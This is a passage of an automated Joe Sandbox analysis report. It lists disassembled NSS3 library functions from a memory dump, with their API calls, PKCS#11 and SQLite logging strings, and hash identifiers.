Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD596A
Part of subcall function 6CAD5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD5984
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CAD5999
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD59BA
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CAD59D3
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD59F5
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CAD5A0A
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD5A2E
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CAD5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4EB3

Part of subcall function 6CAE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE484C
Part of subcall function 6CAE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE486D
Part of subcall function 6CAE4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAE4EB8,?), ref: 6CAE4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4EC0

Part of subcall function 6CAE4470: TlsGetValue.KERNEL32(00000000,?,6CAA7296,00000000), ref: 6CAE4487
Part of subcall function 6CAE4470: EnterCriticalSection.KERNEL32(?,?,?,6CAA7296,00000000), ref: 6CAE44A0
Part of subcall function 6CAE4470: PR_Unlock.NSS3(?,?,?,?,6CAA7296,00000000), ref: 6CAE44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CBBDCB0,00000000), ref: 6CAE4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CAE501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE506B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: f24c980263f6bd8c51b21293973cf05aff24a2869cfa211d8352cd73b9eaad6d
Instruction ID: 6d2f741813be97182f96ecec22791d143326fd0f68a5f5d572531d4c87cbc33b
Opcode Fuzzy Hash: f24c980263f6bd8c51b21293973cf05aff24a2869cfa211d8352cd73b9eaad6d
Instruction Fuzzy Hash: 2851F3B59002019FEB01AF64ED0569A76B4FF0935CF080635E81A87B11FB31E5A8DAD2

Function 6CBAABB0 Relevance: 19.7, APIs: 13, Instructions: 173COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBAABD5
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAAC21

Part of subcall function 6CB570F0: LeaveCriticalSection.KERNEL32(6CBA0C7B), ref: 6CB5710D

EnterCriticalSection.KERNEL32(?), ref: 6CBAAC44
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CBAAC6E
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAAC97
EnterCriticalSection.KERNEL32(?), ref: 6CBAACBF
PR_NewCondVar.NSS3(?), ref: 6CBAACDB
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAAD0D
PR_SetPollableEvent.NSS3(?), ref: 6CBAAD18
EnterCriticalSection.KERNEL32(?), ref: 6CBAAD31

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

_PR_MD_UNLOCK.NSS3(?), ref: 6CBAAD89
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CBAAD98
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAADC5

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CondErrorEventLeavePollableValue
String ID:
API String ID: 829741924-0
Opcode ID: 56fee0868776cc8bf21c2100e026023dfd196d8ffdc27621f01845569f4eb5af
Instruction ID: d49659f69743e49906e5ac3f355641233d4135781615ec91af74b52728ac2a41
Opcode Fuzzy Hash: 56fee0868776cc8bf21c2100e026023dfd196d8ffdc27621f01845569f4eb5af
Instruction Fuzzy Hash: A761CEB29046509BC7209F61C88074AB7F4EF44719F298A29D8D957B12E731F89ACFD1

Function 6CA8ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8ACE2
malloc.MOZGLUE(00000001), ref: 6CA8ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA8AD02
TlsGetValue.KERNEL32 ref: 6CA8AD3C
calloc.MOZGLUE(00000001,?), ref: 6CA8AD8C
PR_Unlock.NSS3 ref: 6CA8ADC0
free.MOZGLUE(00000000), ref: 6CA8AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA8AE58
free.MOZGLUE(00000000), ref: 6CA8AE69
free.MOZGLUE(?), ref: 6CA8AE78
PR_Unlock.NSS3 ref: 6CA8AE8C
free.MOZGLUE(?), ref: 6CA8AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA8AEC7

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: fcf9a5d89d584cb98342b6e85c6d2f03106361addd22f4a3ce82ed12ad350469
Instruction ID: 94f9de1f523af147d08bb520c541425d624cf0943dd6f8e3f9aba5c5990afb61
Opcode Fuzzy Hash: fcf9a5d89d584cb98342b6e85c6d2f03106361addd22f4a3ce82ed12ad350469
Instruction Fuzzy Hash: 4551A3B1E021259BDF00DFA4E84176E7775FB0A749F180525D815A7B40D331AD95CBE1

Function 6CACADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CACADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAE29

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CACAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CACAEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6CACAE1F, 6CACAE80
C_MessageSignInit, xrefs: 6CACADE1
hSession = 0x%x, xrefs: 6CACAE01, 6CACAE11
hKey = 0x%x, xrefs: 6CACAE62, 6CACAE72

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: aecea103a164572ef2a51ab866a42eafc0141df9257842f5b684d3534ff9839b
Instruction ID: 7526d86fe51a480ec6efec096ddaf008cae3d6683a9273c1e8f2e50c8a3c7a83
Opcode Fuzzy Hash: aecea103a164572ef2a51ab866a42eafc0141df9257842f5b684d3534ff9839b
Instruction Fuzzy Hash: 46312536701194ABCB008F64ED88FBE3776AB46318F484428E9196B711DB309D89CBD7

Function 6CAC4B80 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 107COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DestroyObject), ref: 6CAC4BA6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4BD7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4BE9

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4BFF
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4C2D
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4C3F
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4C55

Strings

(CK_INVALID_HANDLE), xrefs: 6CAC4BDF, 6CAC4C35
hObject = 0x%x, xrefs: 6CAC4C17, 6CAC4C27
hSession = 0x%x, xrefs: 6CAC4BC1, 6CAC4BD1
C_DestroyObject, xrefs: 6CAC4BA1

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_DestroyObject
API String ID: 332880674-4243883364
Opcode ID: 32e9de40d4999a52715006f0956f3451e55ec3fbbdf41ffc10f56d883a921153
Instruction ID: e1fb185c9f6036785e6d3e0805894388ebf5971151cb421fa746462ca86e5ada
Opcode Fuzzy Hash: 32e9de40d4999a52715006f0956f3451e55ec3fbbdf41ffc10f56d883a921153
Instruction Fuzzy Hash: 5B310976B05194ABDB009B54ED88FBE7774EB4231DF084028E91967711DB309D89CB9B

Function 6CB64C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CB64CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64CFD
sqlite3_value_text16.NSS3(?), ref: 6CB64D44

Strings

out of memory, xrefs: 6CB64C78, 6CB64C9E
unknown error, xrefs: 6CB64D56
API call with %s database connection pointer, xrefs: 6CB64CF6
no more rows available, xrefs: 6CB64D2E
another row available, xrefs: 6CB64D20
abort due to ROLLBACK, xrefs: 6CB64D27, 6CB64D33
bad parameter or other API misuse, xrefs: 6CB64D05
invalid, xrefs: 6CB64CF1

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9a13b0a968e5f05bc7f4a2cc343a848a1bee8271ddaa1f9221d6971275790c99
Instruction ID: 262865c5d3969451e6c5b475f322cef000a09b94135e31a5fd578526eb8cea7f
Opcode Fuzzy Hash: 9a13b0a968e5f05bc7f4a2cc343a848a1bee8271ddaa1f9221d6971275790c99
Instruction Fuzzy Hash: EB313772E08CE1ABD708C62AE8317A97365FB8231CF150125D4245BF59CB21AC568FD3

Function 6CAC2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CAC2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC2E33

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC2E81

Strings

pPin = 0x%p, xrefs: 6CAC2E63
(CK_INVALID_HANDLE), xrefs: 6CAC2E2C
hSession = 0x%x, xrefs: 6CAC2E0E, 6CAC2E1E
C_InitPIN, xrefs: 6CAC2DF1
ulPinLen = %d, xrefs: 6CAC2E7C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 37cbfbb43afce62457763c5ffcddc21d63eb3744fa83d81847381ca2b14e8d60
Instruction ID: 199ec7d384fdabfe46323c24472c7709707cc3c688a3db2ce5246567271c1da4
Opcode Fuzzy Hash: 37cbfbb43afce62457763c5ffcddc21d63eb3744fa83d81847381ca2b14e8d60
Instruction Fuzzy Hash: 8031D575701194ABDB00DF58ED8CB9E3BB5EB42318F084124E819B7711DB309D89CBA7

Function 6CAC6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CAC6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6F53

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAC6FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CAC6F4C
hSession = 0x%x, xrefs: 6CAC6F2E, 6CAC6F3E
C_DigestUpdate, xrefs: 6CAC6F11
pPart = 0x%p, xrefs: 6CAC6F83
ulPartLen = %d, xrefs: 6CAC6F9C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: df82139d73723b19c165c95cec2b1ff0f524afe92ae346a36089658614d17d73
Instruction ID: 678f29969aa656b84f2a387c42a5fc9ecdeeb926309c413d592ed200aa7277a3
Opcode Fuzzy Hash: df82139d73723b19c165c95cec2b1ff0f524afe92ae346a36089658614d17d73
Instruction Fuzzy Hash: FC31D339701194AFDB00DB68ED88BAA77B5EB42319F084024E819A7712DB30DD8DCBD7

Function 6CA94880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA948A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CA948C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CA948D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CA948FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CA94908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA94947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CA9496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA94988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8DAC,?), ref: 6CA949DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA949FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA94ACB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 9ff7259cfc3529b35b554792721e7ff8026a7663c308ed248ec99affabe4ba39
Instruction ID: 068c19f5aa1757c905c3f501cc14bc74e5228b281aafb301cb368e354dd66d0e
Opcode Fuzzy Hash: 9ff7259cfc3529b35b554792721e7ff8026a7663c308ed248ec99affabe4ba39
Instruction Fuzzy Hash: 955106B0A203058FEB108F65DC4675BB7E4AF4130CF184129E939ABF81EB71D488CB56

Function 6CB62D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB62D9F

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

sqlite3_exec.NSS3(?,?,6CB62F70,?,?), ref: 6CB62DF9
sqlite3_free.NSS3(00000000), ref: 6CB62E2C
sqlite3_free.NSS3(?), ref: 6CB62E3A
sqlite3_free.NSS3(?), ref: 6CB62E52
sqlite3_mprintf.NSS3(6CBCAAF9,?), ref: 6CB62E62
sqlite3_free.NSS3(?), ref: 6CB62E70
sqlite3_free.NSS3(?), ref: 6CB62E89
sqlite3_free.NSS3(?), ref: 6CB62EBB
sqlite3_free.NSS3(?), ref: 6CB62ECB
sqlite3_free.NSS3(00000000), ref: 6CB62F3E
sqlite3_free.NSS3(?), ref: 6CB62F4C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: c9dee177de6efde2f5eca198b0e74d3784b877f4c2b9c33a86e0dd6d095a7475
Instruction ID: 367ffb3cccafa019352c41a471eb174a0ad13f536148a882d073befb3db1f8e7
Opcode Fuzzy Hash: c9dee177de6efde2f5eca198b0e74d3784b877f4c2b9c33a86e0dd6d095a7475
Instruction Fuzzy Hash: 4D6190B5E052558BFB00CFA9D984BDEB7B1EF48348F144024EC15A7B41E735E848CBA2

Function 6CAB2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAB3F23,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C93

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23), ref: 6CAB2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?), ref: 6CAB2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?), ref: 6CAB2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CAB2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2D71
PR_Unlock.NSS3(?), ref: 6CAB2D7E

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
